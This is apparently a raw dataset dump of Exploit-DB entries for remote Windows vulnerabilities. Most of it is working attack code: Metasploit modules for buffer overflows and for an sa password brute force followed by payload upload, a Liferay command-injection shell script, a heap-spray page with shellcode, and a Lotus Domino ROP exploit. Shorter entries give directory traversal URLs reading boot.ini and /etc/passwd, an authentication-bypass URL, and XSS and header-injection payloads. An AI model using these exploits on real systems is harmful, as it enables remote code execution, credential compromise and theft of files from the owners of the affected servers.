deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25851
Description: Lianja SQL 1.0.0RC5.1 - db_netserver Stack Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2013-05-31
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::RopDb

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Lianja SQL 1.0.0RC5.1 db_netserver Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the db_netserver process which
        is spawned by the Lianja SQL server.  The issue is fixed in Lianja SQL 1.0.0RC5.2.
      },
      'Author'         => 'Spencer McIntyre',
      'License'        => MSF_LICENSE,
      'References'     => [
        [ 'CVE', '2013-3563' ]
      ],
      'DefaultOptions' =>
        {
          'WfsDelay' => 20
        },
      'Platform'       => 'win',
      'Arch'           => ARCH_X86,
      'Payload'        =>
        {
          'StackAdjustment' => -3500,
          'Space'           => 500,
          'BadChars'        => "\x01"
        },
      'Targets'        =>
        [
          [ 'Lianja SQL 1.0.0RC5.1 / Windows Server 2003 SP1-SP2', { 'rop_target' => '2003' } ],
          [ 'Lianja SQL 1.0.0RC5.1 / Windows XP SP3', { 'rop_target' => 'xp' } ],
        ],
      'DefaultTarget'  => 0,
      'Privileged'     => true,
      'DisclosureDate' => 'May 22 2013'))

    register_options(
      [
        Opt::RPORT(8001),
      ], self.class)
  end

  def check
    begin
      connect
    rescue
      return Exploit::CheckCode::Safe
    end
    sock.put("db_net")
    if sock.recv(4) =~ /\d{1,5}/
      return Exploit::CheckCode::Detected
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    connect
    sock.put("db_net")
    sock.recv(4)

    print_status("#{rhost}:#{rport} - Sending Malicious Data")
    evil_data =  '000052E1'
    evil_data << 'A'
    evil_data << ('0' * 19991) # this can't be randomized, else a Read Access Violation will occur
    evil_data << generate_rop_payload('msvcrt', payload.encoded, {'target' => target['rop_target']})
    sock.put(evil_data)
    disconnect
  end
end
Exploit-DB #35652
Description: Liferay Portal 7.0.0 M1/7.0.0 M2/7.0.0 M3 - Remote Code Execution
Type: remote
Platform: windows
Date: 2014-12-30
Author: drone

Exploit:
#!/bin/sh

# Exploit title: Liferay Portal 7.0.0 M1, 7.0.0 M2, 7.0.0 M3 RCE
# Date: 11/16/2014
# Exploit author: drone (@dronesec)
# Vendor homepage: http://www.liferay.com/
# Software link: http://downloads.sourceforge.net/project/lportal/Liferay%20Portal/7.0.0%20M2/liferay-portal-tomcat-7.0-ce-m2[PII_REDACTED]2509960.zip
# Version: 7.0.0 M1, 7.0.0 M2, 7.0.0 M3
# Fixed in: 7.0.3
# Tested on: Windows 7

# Pre-auth command injection using an exposed Apache Felix, 
# exposed by default on all Liferay Portal 7.0 installs.
#
# ./liferay_portal7.sh 192.168.1.1 "cmd.exe /C calc.exe"
#


(echo open $1 11311
sleep 1
echo system:getproperties
sleep 1
echo exec \"$2\"
sleep 1
) | telnet
Exploit-DB #4217
Description: LinkedIn Toolbar 3.0.2.1098 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2007-07-24
Author: Jared DeMott

Exploit:
<HTML>
<TITLE>In God We Trust, VDA Labs, LLC</TITLE>
<HEAD>
<object classid='clsid:0F2437D6-C4E4-42CA-A906-F506E09354B7' id='target'></object>
<script language='javascript'>  

   function repeat(n,c)
   {
	retval="";
	for (i=0;i<n;i++)
	 retval = retval + c;
	return retval
   }

   //EAX contains this value.  call [eax].  that lands us on the nops.
   blind_jmp = repeat(50000,unescape("%u0a0a%u0a0a"));  

   //shellcode:  From metasploit.com. SC can be very big if you want.
   shellcode = unescape("%uc931%ue983%ud9dd%ud9ee%u2474%u5bf4%u7381%ub213%u28cd%u837b%ufceb%uf4e2%u254e%u7b6c%ucdb2%u3ea3%u468e%u7e54%uccca%uf0c7%ud5fd%u24a3%ucc92%u32c3%uf939%u7aa3%ufc5c%ue2e8%u491e%u0fe8%u0cb5%u76e2%u0fb3%u8fc3%u9989%u7f0c%u28c7%u24a3%ucc96%u1dc3%uc139%uf063%ud1ed%u9029%ud139%u7aa3%u4459%u5f74%u0eb6%ubb19%u46d6%u4b68%u0d37%u7750%u8d39%uf024%ud1c2%uf085%uc5da%u72c3%u4d39%u7b98%ucdb2%u13a3%u928e%u8d19%u9bd2%u83a1%u0d31%u2b53%ub3da%u99f0%ua5c1%u85b0%uc338%u847f%uae55%u1749%ue3d1%u034d%ucdd7%u7b28");

   //changed to point to 0x0a0a0a0a
   nops = repeat(3925, unescape("%u0a0a%u0a0a") ); //jmp +0, push eax, pop eax
   
   mem = new Array();
   for(i=0; i<9000; i++)
   {
	mem[i] = nops+shellcode;
   }

   //make string
   target.search("jared", blind_jmp);

</script>
</body>
</html>

# milw0rm.com [2007-07-24]
Exploit-DB #21475
Description: LocalWEB2000 2.1.0 Standard - File Disclosure
Type: remote
Platform: windows
Date: 2002-05-24
Author: Tamer Sahin

Exploit:
source: https://www.securityfocus.com/bid/4820/info

A vulnerability exists in LocalWEB2000 related to content password protection. It is possible to have LocalWEB2000 treat files as unprotected by requesting them as files within the '.' (current) directory. If the file http://server/file.txt is set to be password protected, the protection will be bypassed if a request is made for http://server/./file.txt. This is likely due to a design error in the protection component.

This vulnerability was reported for LocalWEB2000 Standard Version 2.1.0. Other versions (such as the Professional Edition) may also be affected by this issue. 

http://target/./protectedfolder/protectedfile.htm
Exploit-DB #42721
Description: Lockstep Backup for Workgroups 4.0.3 - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2017-09-14
Author: James Fitts

Exploit:
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Lockstep Backup for Workgroups <= 4.0.3',
			'Description'    => %q{
				This module exploits a stack buffer overflow found in
				Lockstep Backup for Workgroups <= 4.0.3. The vulnerability
				is triggered when sending a specially crafted packet that
				will cause a login failure.
			},
			'Author'         => [ 'james fitts' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: $',
			'References'     =>
				[
					[ 'URL', 'http://secunia.com/advisories/50260/' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'	=> 1000,
					'BadChars' => "\x00",
					'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
					'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
					'EncoderOptions' =>
						{
							'BufferRegister' => 'ECX',
						},
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 
						'Windows 2000 ALL EN', 
							{ 
								# msvcrt.dll
								# pop ecx/ pop ecx/ retn
								'Ret' => 0x780146c0, 
							} 
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Feb 11 2013'))

		register_options(
			[
				Opt::RPORT(2125),
				OptString.new('USERNAME', [ true, 'Username of victim', 'msf' ])
			], self.class )
	end

	def exploit
		connect

		uname = datastore['USERNAME']

		p =  "\x90" * 16
		p << payload.encoded

		packet = rand_text_alpha_upper(10000)
		packet[0, 8] = "BFWCA\x01\x01\x00"
		packet[8, uname.length] = "#{uname}\x00"
		packet[73, p.length] = p
		packet[7197, 4] = "\xeb\x06\x90\x90"		# jmp $+8
		packet[7201, 4] = [target.ret].pack('V')
		packet[7205, 8] = "\x90" * 8
		packet[7213, 2] = "\xff\xe7"			# jmp edi

		print_status("Trying target %s..." % target.name)

		sock.put(packet)

		handler
		disconnect
	end

end
Exploit-DB #25336
Description: Logics Software LOG-FT - Arbitrary File Disclosure
Type: remote
Platform: windows
Date: 2005-04-05
Author: Pedro Viuales & Rom Ramirez

Exploit:
source: https://www.securityfocus.com/bid/12998/info

LOG-FT is reported prone to an arbitrary file disclosure vulnerability. This issue results from an access validation error and can allow a remote attacker to disclose sensitive data.

It is reported that an attacker can simply issue a specially crafted HTTP GET request to disclose sensitive files in the context of the affected Web server.

Information disclosed through this attack may expose sensitive data that may be used to carry out further attacks against a computer. It is not confirmed whether this issue may also allow an attacker to upload arbitrary files. 

http://www.example.com/logwebcgi/logwebftbs2000.exe?VAR_FT_LANG=c:\&VAR_FT_TMPL=winnt/win.ini

http://www.example.com/logwebcgi/logwebftbs2000.exe?VAR_FT_LANG=/etc&VAR_FT_TMPL=passwd
Exploit-DB #26774
Description: LogiSphere 0.9.9 j - 'Search?NS-query-pat' Traversal Arbitrary File Access
Type: remote
Platform: windows
Date: 2005-12-12
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/15807/info
 
LogiSphere is prone to multiple directory traversal vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the Web server process. Information obtained may aid in further attacks; other attacks are also possible. 

http://www.example.com:8080/search?NS-query-pat=..\..\..\..\..\..\..\..\boot.ini
Exploit-DB #26773
Description: LogiSphere 0.9.9 j - 'viewsource.jsp?source' Traversal Arbitrary File Access
Type: remote
Platform: windows
Date: 2005-12-12
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/15807/info

LogiSphere is prone to multiple directory traversal vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the Web server process. Information obtained may aid in further attacks; other attacks are also possible. 

http://www.example.com:8080/jsp/jspsamp/jspexamples/viewsource.jsp?source=../../../../../../../../../../boot.ini
Exploit-DB #26775
Description: LogiSphere 0.9.9 j - URI Multiple Method Traversal Arbitrary File Access
Type: remote
Platform: windows
Date: 2005-12-12
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/15807/info
  
LogiSphere is prone to multiple directory traversal vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the Web server process. Information obtained may aid in further attacks; other attacks are also possible. 

http://www.example.com:8080/.../.../.../.../.../.../.../boot.ini
http://www.example.com:8080/../../../../../../../../../boot.ini
http://www.example.com:8080/../../../boot.ini
http://www.example.com:8080/..//..//..//..//..//..//..//boot.ini
http://www.example.com:8080/boot.ini
http://www.example.com:8080/boot.ini
Exploit-DB #16511
Description: Logitech VideoCall - ActiveX Control Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-05-09
Author: Metasploit

Exploit:
##
# $Id: logitechvideocall_start.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Logitech VideoCall ActiveX Control Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the Logitech VideoCall ActiveX
				Control (wcamxmp.dll 2.0.3470.448). By sending a overly long string to the
				"Start()" method, an attacker may be able to execute arbitrary code.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2007-2918' ],
					[ 'OSVDB', '36820'],
					[ 'BID', '24254' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 800,
					'BadChars'      => "\x00\x09\x0a\x0d'\\",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP Pro SP2 English',     { 'Offset' => 120, 'Ret' => 0x7c941eed } ],
				],
			'DisclosureDate' => 'May 31 2007',
			'DefaultTarget'  => 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Randomize some things
		vname	= rand_text_alpha(rand(100) + 1)
		strname	= rand_text_alpha(rand(100) + 1)

		# Set the exploit buffer
		sploit = rand_text_alpha(target['Offset']) + [target.ret].pack('V') + p.encoded

		# Build out the message
		content = %Q|
			<html>
			<object classid='clsid:BF4C7B03-F381-4544-9A33-CB6DAD2A87CD' id='#{vname}'></object>
			<script language='javascript'>
			var #{vname} = document.getElementById('#{vname}');
			var #{strname} = new String('#{sploit}');
			#{vname}.Start(#{vname}, #{vname}, #{strname});
			</script>
			</html>
			|

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
Exploit-DB #33025
Description: LogMeIn 4.0.784 - 'cfgadvanced.html' HTTP Header Injection
Type: remote
Platform: windows
Date: 2009-06-05
Author: Inferno

Exploit:
source: https://www.securityfocus.com/bid/35236/info

LogMeIn is prone to a vulnerability that allows attackers to inject arbitrary HTTP headers because it fails to sufficiently sanitize input.

By inserting arbitrary headers into an HTTP response, attackers may be able to launch various attacks, including cross-site request forgery, cross-site scripting, and HTTP-request smuggling.

LogMeIn 4.0.784 is vulnerable; other versions may also be affected.

The following example URI is available:
http://securethoughts.com/2009/06/multiple-vulnerabilities-in-logmein-web-interface-can-be-used-to-control-your-computer-and-steal-arbitary-files/#viewSource
http://www.example.com/cfgadvanced.html?op=update&DisconnectExisting=1&NoHttpCompr=1&CrashDumpInfo=0&lang=en-US%0D%0A%0D%0A%3Chtml%3E%3Cbody%3E%3C/body%3E%3CSCRIPT%3Evar%20ifr%3Dnull%3Bfunction%20al%28%29%7Bvar%20str%3D%28window.frames%5B0%5D.document.body.innerHTML%20%7C%7C%20ifr.contentDocument.documentElement.innerHTML%29%3Balert%28str.substring%28%28str.toLowerCase%28%29%29.indexOf%28%22%3Clegend%3E%22%2C400%29%29%29%3B%7D%20if%28window.location.href.match%28/.*cfgad.*/%29%29%7Bifr%3Ddocument.createElement%28%22iframe%22%29%3Bifr.src%3D%22https%3A//localhost%3A2002/logs.html%3Flog%3D../../../windows/win.ini%22%3Bdocument.body.appendChild%28ifr%29%3BsetTimeout%28%22al%28%29%22%2C4000%29%3B%7D%3C/script%3E%3C%21--
Exploit-DB #46808
Description: Lotus Domino 8.5.3 - 'EXAMINE' Stack Buffer Overflow DEP/ASLR Bypass (NSA's EMPHASISMINE)
Type: remote
Platform: windows
Date: 2019-05-08
Author: Charles Truscott

Exploit:
##########################################################
#							  #
# Here is a working version of the NSA's EMPHASISMINE     #
# for IMAP Server Lotus Domino 8.5.3 FP0		  #
#        DEP/ASLR bypass				  #
#							  #
# Replace breakpoints with msfvenom payload   		  #
#	(ALPHANUMERIC)					  #
# I love you Alison Thompson OAM @ThirdWaveORG            #
# Author: Charles Truscott @r0ss1n1			  #
#							  #
###########################################################


import base64
import struct
import socket
import time

rop_and_roll = struct.pack('<I', 0x00433212)  # POP ECX # RETN [nIMAP.EXE]
rop_and_roll += struct.pack('<I', 0x41414141)  # Filler
rop_and_roll += struct.pack('<I', 0x7c37a140)  # ptr to &VirtualProtect() [IAT MSVCR71.dll]
rop_and_roll += struct.pack('<I', 0x60609925)  # MOV EAX,DWORD PTR DS:[ECX] # RETN [nnotes.dll]
rop_and_roll += struct.pack('<I', 0x60b79a61)  # XCHG EAX,ESI # RETN [nnotes.dll]
rop_and_roll += struct.pack('<I', 0x62450fc4)  # POP EBP # RETN [NLSCCSTR.DLL]
rop_and_roll += struct.pack('<I', 0x7c345c30)  # & push esp # ret  [MSVCR71.dll]
rop_and_roll += struct.pack('<I', 0x60165ba9)  # POP EBX # RETN [nnotes.dll]
rop_and_roll += struct.pack('<I', 0x00000001)  # 0x00000001-> ebx
rop_and_roll += struct.pack('<I', 0x6020962e)  # POP EDX # RETN [nnotes.dll]
rop_and_roll += struct.pack('<I', 0x00001000)  # 0x00001000-> edx
rop_and_roll += struct.pack('<I', 0x60e81a98)  # POP ECX # RETN [nnotes.dll]
rop_and_roll += struct.pack('<I', 0x00000040)  # 0x00000040-> ecx
rop_and_roll += struct.pack('<I', 0x606609f9)  # POP EDI # RETN [nnotes.dll]
rop_and_roll += struct.pack('<I', 0x62136802)  # RETN (ROP NOP) [nxmlproc.dll]
rop_and_roll += struct.pack('<I', 0x0042ba51)  # POP EAX # RETN [nIMAP.EXE]
rop_and_roll += struct.pack('<I', 0x90909090)  # nop
rop_and_roll += struct.pack('<I', 0x60505637)  # PUSHAD # RETN [nnotes.dll]


username = "user"

password = "pass"

login=". LOGIN " + " " +  '"' + username + '"' +  " " + '"' +  password + '"' +  "\r\n"


payload = "\x90" * 556 + rop_and_roll + "\x90" * 20 + "\xCC" * (1500 - 556 - len(rop_and_roll) - 20)
encoded = base64.b64encode(payload)

crash = ". EXAMINE " + "&" + encoded + "\x0d\x0a"

print crash
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect(('172.16.65.128', 143))
time.sleep(3)
connectionresponse = expl.recv(1024)
print str(connectionresponse)
print "sending LOGIN request"
expl.send(login)
loginresponse = expl.recv(1024)
print str(loginresponse)
print "sending EXAMINE request"
print crash
expl.send(crash)
crashresponse = expl.recv(1024)
print str(crashresponse)
expl.close
Exploit-DB #21203
Description: Lucent 8.x - VitalNet Password Authentication Bypass
Type: remote
Platform: windows
Date: 2002-01-16
Author: Mark Cooper

Exploit:
source: https://www.securityfocus.com/bid/3784/info

VitalNet is part of Lucent's VitalSuite SP product family. VitalNet allows users to monitor, analyze, manage and predict the performance of their network infrastructure.

The implementation of VitalNet's cookie-based authentication mechanism is flawed. An attacker who successfully guesses a correct username can gain access to the server without need of a valid password. 

http://<serverip>/cgi-bin/VsSetCookie.exe?vsuser=<user_name>
Exploit-DB #16397
Description: Lyris ListManager - MSDE Weak sa Password (Metasploit)
Type: remote
Platform: windows
Date: 2010-09-20
Author: Metasploit

Exploit:
##
# $Id: lyris_listmanager_weak_pass.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::MSSQL
	include Msf::Exploit::EXE

	def initialize(info = {})

		super(update_info(info,
			'Name'           => 'Lyris ListManager MSDE Weak sa Password',
			'Description'    => %q{
					This module exploits a weak password vulnerability in the
				Lyris ListManager MSDE install. During installation, the 'sa'
				account password is set to 'lminstall'. Once the install
				completes, it is set to 'lyris' followed by the process
				ID of the installer. This module brute forces all possible
				process IDs that would be used by the installer.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					[ 'CVE', '2005-4145'],
					[ 'OSVDB', '21559'],
				],
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic', { } ],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Dec 08 2005'
			))
	end

	# Do not automatically run this module, it can lead to lockouts with SQL Server 2005
	def autofilter
		false
	end

	def exploit

		# New installations use a randomly generated suffix like "lyris629dAe536F"
		pass = nil

		while(true)
			print_status("Trying to authenticate with password 'lminstall'...")
			if(mssql_login('sa', 'lminstall'))
				pass = 'lminstall'
				break
			end

			print_status("Trying to authenticate with passwords 'lyris1' to 'lyris65535'...")
			1.upto(65535) do |pid|

				if(pid % 1000 == 0)
					print_status(" >> Completed #{pid} of 65535 authentication requests")
				end

				if(mssql_login('sa', "lyris#{pid}"))
					pass = "lyris#{pid}"
					break
				end
			end
			print_status("This system does not appear to be exploitable")
			return
		end

		print_status("")
		print_status("Sucessfully authenticated to #{rhost}:#{rport} with user 'sa' and password '#{pass}'")
		print_status("")

		exe = generate_payload_exe
		mssql_upload_exec(exe)

		handler
		disconnect
	end
end
Exploit-DB #22677
Description: M-TECH P-Synch 6.2.5 - 'nph-psa.exe?css' Cross-Site Scripting
Type: remote
Platform: windows
Date: 2003-05-29
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/7745/info
 
P-Synch does not adequately filter HTML code from URL parameters, making it prone to cross-site scripting attacks. Code will be executed in the security context of the system running P-Synch.
 
This may enable a remote attacker to steal cookie-based authentication credentials from legitimate users. Other attacks are also possible.

https://path/to/psynch/nph-psa.exe?css=">[VBScript, JScript etc]
Exploit-DB #22676
Description: M-TECH P-Synch 6.2.5 - 'nph-psf.exe?css' Cross-Site Scripting
Type: remote
Platform: windows
Date: 2003-05-29
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/7745/info

P-Synch does not adequately filter HTML code from URL parameters, making it prone to cross-site scripting attacks. Code will be executed in the security context of the system running P-Synch.

This may enable a remote attacker to steal cookie-based authentication credentials from legitimate users. Other attacks are also possible. 

https://path/to/psynch/nph-psf.exe?css=">[VBScript, JScript etc]
Exploit-DB #22674
Description: M-TECH P-Synch 6.2.5 - Full Path Disclosure
Type: remote
Platform: windows
Date: 2003-05-29
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/7740/info

Reportedly an attacker may make a malicious HTTP request for specific P-Synch executables passing an empty URI parameter to trigger the condition. Although unconfirmed, it is likely that the request will cause P-Sync to display an error message containing the path to the executable.

This vulnerability was reported to affect P-Synch version 6.2.5 other versions may also be affected. 

https://www.example.org/psynch/nph-psa.exe?lang=
https://www.example.org/psynch/nph-psf.exe?lang=